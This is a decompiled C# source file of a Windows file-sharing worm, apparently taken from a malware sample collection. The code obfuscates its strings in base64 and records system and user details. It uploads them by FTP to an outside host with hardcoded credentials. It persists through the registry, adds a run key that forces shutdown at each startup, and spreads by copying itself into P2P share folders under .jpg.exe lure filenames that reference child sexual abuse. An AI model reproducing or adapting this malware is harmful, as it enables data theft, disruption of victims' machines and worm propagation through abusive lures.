// Decompiled with JetBrains decompiler
// Type: parvulus.Program
// Assembly: parvulus, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 9FA193B5-EDCA-4010-A168-C8A18CE631F5
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\P2P-Worm.MSIL.Lupar.a-b4e8ccd55ff21847335fb2856ad750c5cf8f2baa869366cdde763f6410ca3f96.exe

using Microsoft.Win32;
using Retro.FTP;
using System;
using System.Collections;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Reflection;
using System.Text;
using System.Windows.Forms;
using System.Xml;

namespace parvulus
{
  internal static class Program
  {
    private static object g;
    private static Module me;

    [STAThread]
    private static void Main()
    {
      ArrayList storage = new ArrayList();
      FTPClient ftpClient = new FTPClient();
      Random random = new Random();
      DateTime now = DateTime.Now;
      ProcessStartInfo startInfo = new ProcessStartInfo("shutdown.exe", "-f");
      string str1 = Program.RandName(".txt");
      string str2 = Environment.SystemDirectory.ToString();
      string[] strArray = new string[10]
      {
        Program.decrypt("cHRoYw=="),
        Program.decrypt("UGhvdG8gQnkgQ2FybCAtIFBlZG8="),
        Program.decrypt("cHJldGVlbg=="),
        Program.decrypt("Y2hpbGRsb3Zlcg=="),
        Program.decrypt("Y2hpbGQgcG9ybg=="),
        Program.decrypt("OHlv"),
        Program.decrypt("OXlv"),
        Program.decrypt("MTB5bw=="),
        Program.decrypt("MTF5bw=="),
        Program.decrypt("MTJ5bw==")
      };
      string hostName = Dns.GetHostName();
      IPAddress[] addressList = Dns.GetHostEntry(hostName).AddressList;
      StreamWriter streamWriter = new StreamWriter(str2 + Program.decrypt("XA==") + str1);
      streamWriter.WriteLine(Program.decrypt("W1BhcnZ1bHVzXSBBdXRvLUdlbmVyYXRlZCBPbiA=") + now.ToString("dddd, d MMMM yyyy H:m:s zzz \r\n"));
      streamWriter.WriteLine(Program.decrypt("T1MgVmVyc2lvbiAgIDog") + (object) Environment.OSVersion);
      streamWriter.WriteLine(Program.decrypt("TWFjaGluZSBOYW1lIDog") + Environment.MachineName);
      streamWriter.WriteLine(Program.decrypt("VXNlcm5hbWUgICAgIDog") + Environment.UserName);
      streamWriter.WriteLine(Program.decrypt("SG9zdCBOYW1lICAgIDog") + hostName);
      for (int index = 0; index < addressList.Length; ++index)
        streamWriter.WriteLine(Program.decrypt("SVAgQWRkcmVzcyB7MH0gOiB7MX0g"), (object) index, (object) addressList[index].ToString());
      streamWriter.Write("\r\n\t\t\t\t" + Program.decrypt("T3JpZ2luYWwgRmlsZSAtPiBCYWNrdXAgRmlsZQ==") + "\r\n\r\n");
      Program.me = Assembly.GetExecutingAssembly().GetModules()[0];
      foreach (string logicalDrive in Directory.GetLogicalDrives())
      {
        try
        {
          Program.CollectDirs(logicalDrive, storage);
        }
        catch (IOException ex)
        {
        }
      }
      int index1 = random.Next(0, storage.Count);
      System.IO.File.Copy(Program.me.FullyQualifiedName, storage[index1].ToString() + "\\" + Program.me.ScopeName);
      new DirectoryInfo(storage[index1].ToString() + "\\" + Program.me.ScopeName).Attributes = FileAttributes.Hidden;
      RegistryKey subKey1 = Registry.CurrentUser.CreateSubKey(Program.decrypt("U29mdHdhcmVcUmV0cm9cUGFydmFsdXM="));
      subKey1.SetValue(Program.decrypt("UGFydnVsdXM="), (object) (storage[index1].ToString() + "\\" + Program.me.ScopeName));
      subKey1.SetValue(Program.decrypt("QWN0aXZl"), (object) Program.decrypt("MA=="));
      string str3 = Environment.SystemDirectory.ToString();
      Directory.CreateDirectory(str3 + Program.decrypt("XHBcYVxyXHZcdVxsXHVccw=="));
      new DirectoryInfo(str3 + Program.decrypt("XHA=")).Attributes = FileAttributes.Hidden;
      foreach (string path in storage)
      {
        try
        {
          foreach (string file in Directory.GetFiles(path, "*.jpg"))
          {
            try
            {
              FileInfo fileInfo = new FileInfo(file);
              for (int index2 = 0; index2 < 10; ++index2)
              {
                if (fileInfo.Name.Contains(strArray[index2]))
                {
                  subKey1.SetValue(Program.decrypt("QWN0aXZl"), (object) Program.decrypt("MQ=="));
                  int length = Directory.GetFiles(str3 + Program.decrypt("XHBcYVxyXHZcdVxsXHVcc1w=")).Length;
                  System.IO.File.Copy(file, str3 + Program.decrypt("XHBcYVxyXHZcdVxsXHVcc1w=") + Program.decrypt("aW1wZWRv") + length.ToString() + ".jpg");
                  System.IO.File.Delete(file);
                  streamWriter.WriteLine(file + " -> " + str3 + Program.decrypt("XHBcYVxyXHZcdVxsXHVcc1w=") + Program.decrypt("aW1wZWRv") + length.ToString() + ".jpg");
                  ++length;
                }
              }
            }
            catch
            {
            }
          }
        }
        catch
        {
        }
      }
      streamWriter.Close();
      Program.p2pShares();
      Program.g = subKey1.GetValue(Program.decrypt("QWN0aXZl"));
      if (Program.g.ToString() == Program.decrypt("MQ=="))
      {
        Application.EnableVisualStyles();
        Application.Run((Form) new Form1());
      }
      ftpClient.setHost(Program.decrypt("ZnRwLmhvc3Quc2s="));
      ftpClient.setPort(21);
      ftpClient.setUser(Program.decrypt("cGFydnVsdXM="));
      ftpClient.setPass(Program.decrypt("ZjQ1NTQ2NHBwOQ=="));
      ftpClient.login();
      ftpClient.chdir(Program.decrypt("ZmlsZXM="));
      ftpClient.setBinaryMode(true);
      ftpClient.upload(str3 + Program.decrypt("XA==") + str1);
      ftpClient.close();
      System.IO.File.Delete(str3 + Program.decrypt("XA==") + str1);
      RegistryKey subKey2 = Registry.LocalMachine.CreateSubKey(Program.decrypt("U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25ccG9saWNpZXNcZXhwbG9yZXJccnVu"));
      subKey2.SetValue(Program.decrypt("c2h1dGRvd24="), (object) Program.decrypt("Y21kLmV4ZSAvYyBzaHV0ZG93biAtZg=="));
      Process.Start(startInfo);
      subKey2.Close();
    }

    private static string decrypt(string s)
    {
      StringBuilder stringBuilder = new StringBuilder();
      byte[] decoded = new decrypter(s.ToCharArray()).GetDecoded();
      stringBuilder.Append(Encoding.UTF8.GetChars(decoded));
      return stringBuilder.ToString();
    }

    private static string RandName(string extension)
    {
      Random random = new Random();
      string str = (string) null;
      int num = random.Next(5, 11);
      for (int index = 0; index < num; ++index)
      {
        if (random.Next(1, 3) == 2)
          str += (string) (object) Convert.ToChar(Convert.ToInt16(random.Next(97, 122)));
        str += random.Next(0, 10).ToString();
      }
      return str + extension;
    }

    private static void CollectDirs(string dir, ArrayList storage)
    {
      try
      {
        foreach (string directory in Directory.GetDirectories(dir))
        {
          storage.Add((object) directory);
          Program.CollectDirs(directory, storage);
        }
      }
      catch (UnauthorizedAccessException ex)
      {
      }
    }

    private static void p2pShares()
    {
      string[] strArray = new string[6]
      {
        Program.decrypt("TXlfR2lybF85eW9fMDQyLmpwZy5leGU="),
        Program.decrypt("cHRoY19wcmUtU2xpZGVzaG93Ljg3cGl4cy5qcGcuZXhl"),
        Program.decrypt("UGVkbyAtIDIgMTN5byBnaXJsIG1hc3R1cmJhdGluZyAxNHlvIGJveS5qcGcuZXhl"),
        Program.decrypt("cHJldGVlbiAtIEVtaWx5IDd5ciBwZWRvIGZ1Y2suanBnLmV4ZQ=="),
        Program.decrypt("TkVXISAyX1BlZG8gUGVkb2ZpbGlhIEtpZHMgQ2hpbGQgUG9ybiA2NjYuanBnLmV4ZQ=="),
        Program.decrypt("MiA5eW8gZ2lybHMgYW5kIDEyeW8gYm95LmpwZy5leGU=")
      };
      object obj1 = Registry.LocalMachine.OpenSubKey(Program.decrypt("U09GVFdBUkVcREMrKw==")).GetValue(Program.decrypt("SW5zdGFsbF9EaXI="));
      if (obj1 != null)
      {
        XmlReader xmlReader = XmlReader.Create(obj1.ToString() + Program.decrypt("XA==") + Program.decrypt("RENQbHVzUGx1cy54bWw="));
        while (xmlReader.Read())
        {
          if (xmlReader.Name == Program.decrypt("RGlyZWN0b3J5"))
          {
            string path = xmlReader.ReadString();
            if (Directory.Exists(path))
            {
              foreach (string str in strArray)
                System.IO.File.Copy(Program.me.FullyQualifiedName, path + str);
            }
          }
        }
        xmlReader.Close();
      }
      string path1 = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + Program.decrypt("ZURvbmtleTIwMDAgRG93bmxvYWRzXA==");
      if (Directory.Exists(path1))
      {
        foreach (string str in strArray)
          System.IO.File.Copy(Program.me.FullyQualifiedName, path1 + str);
      }
      RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(Program.decrypt("U09GVFdBUkVcS2F6YWFcTG9jYWxDb250ZW50"));
      object obj2 = registryKey.GetValue(Program.decrypt("RG93bmxvYWREaXI="));
      if (obj2 != null)
      {
        object obj3 = (object) (obj2.ToString() + Program.decrypt("XA=="));
        foreach (string str in strArray)
          System.IO.File.Copy(Program.me.FullyQualifiedName, obj3.ToString() + str);
      }
      registryKey.Close();
    }
  }
}
